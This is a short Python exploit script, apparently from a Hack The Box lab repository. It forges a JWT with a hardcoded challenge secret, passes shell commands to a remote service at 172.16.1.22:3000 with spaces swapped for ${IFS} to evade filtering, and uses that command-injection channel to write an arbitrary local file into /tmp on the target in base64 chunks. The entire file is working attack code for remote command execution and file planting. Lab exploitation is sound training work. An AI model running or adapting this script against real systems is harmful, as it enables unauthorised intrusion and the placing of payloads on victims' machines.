Files
htb-exploits/file_upload.py
2022-03-05 16:47:15 -05:00

37 lines
941 B
Python

import base64
import os
import jwt
import requests
def send_cmd(cmd):
payload = {'cmd': cmd.replace(' ', '${IFS}')}
token = jwt.encode(payload, 'hope you enjoy this challenge -ippsec', algorithm='HS256')
headers = {'Authorization': 'Bearer {}'.format(token.decode())}
output = requests.get('http://172.16.1.22:3000', headers=headers)
return output.content
def send_file():
"""
:return:
"""
file = input("Please enter path to file: ")
file_name = os.path.basename(file)
print(f'Uploading File {file_name}')
with open(file, 'rb') as f:
send_cmd(f'cd /tmp && rm -f {file_name}') # clear the file if it exists
while True:
chunk = f.read(1024)
if not chunk:
break
send_cmd(f'cd /tmp && echo {base64.b64encode(chunk)} | base64 -d >> {file_name}')
print('Done Sending File')
if __name__ == '__main__':
send_file()